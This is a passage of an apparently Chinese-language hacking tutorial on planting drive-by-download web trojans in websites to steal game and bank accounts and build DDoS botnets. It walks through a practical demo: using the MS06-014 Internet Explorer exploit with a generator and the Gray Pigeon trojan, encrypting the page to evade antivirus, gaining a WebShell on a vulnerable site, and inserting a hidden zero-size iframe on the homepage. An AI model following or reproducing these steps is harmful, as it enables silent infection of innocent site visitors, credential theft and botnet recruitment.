駭客入侵網站，**在首頁/重點頁面植入惡意代碼** (通常為隱形 ``)，利用網站流量分發網頁木馬，訪客瀏覽即中毒。目的：掛馬盜號 (遊戲/銀行)、建立肉雞網路 (DDoS 傀儡)。</p> <h2>掛馬核心：網頁木馬 (Drive-by Download)</h2> <ul> <li><strong>早期：</strong> 利用 IE ActiveX 控制項，需用戶點擊「安裝」→ 易被發現。</li> <li><strong>現代：</strong> 利用 **IE 瀏覽器漏洞 (如 MS06-014)**，**無提示、無交互、靜默下載執行木馬**，隱蔽性極高。</li> </ul> <h2>實戰演示：利用 MS06-014 生成免殺網頁木馬 (以「灰鴿子」為例)</h2> <ol> <li><strong>準備：</strong> 木馬程式 (已免殺) + MS06-014 網頁木馬生成器 + 網頁空間 (存放木馬與生成頁面)。</li> <li><strong>生成木馬下載頁：</strong> 生成器填入木馬 URL，勾選「隱藏原始碼」 (執行後清空用戶 view-source)，產出 `muma.htm`。</li> <li><strong>免殺加密：</strong> 生成器提供四種加密：空字元、跳脫字元、Escape、拆分特徵碼。選「跳脫字元加密」→ 產出免殺版網頁木馬。</li> <li><strong>植入目標網站：</strong> 尋找腳本漏洞網站 → 取得 WebShell → 編輯首頁插入：<br> `<iframe src="/muma.htm" width="0" height="0" frameborder="0">` 訪客開啟首頁 → 隱形 iframe 載入木馬頁 → 利用漏洞靜默下載執行木馬，**殺毒軟體無反應、頁面外觀正常**。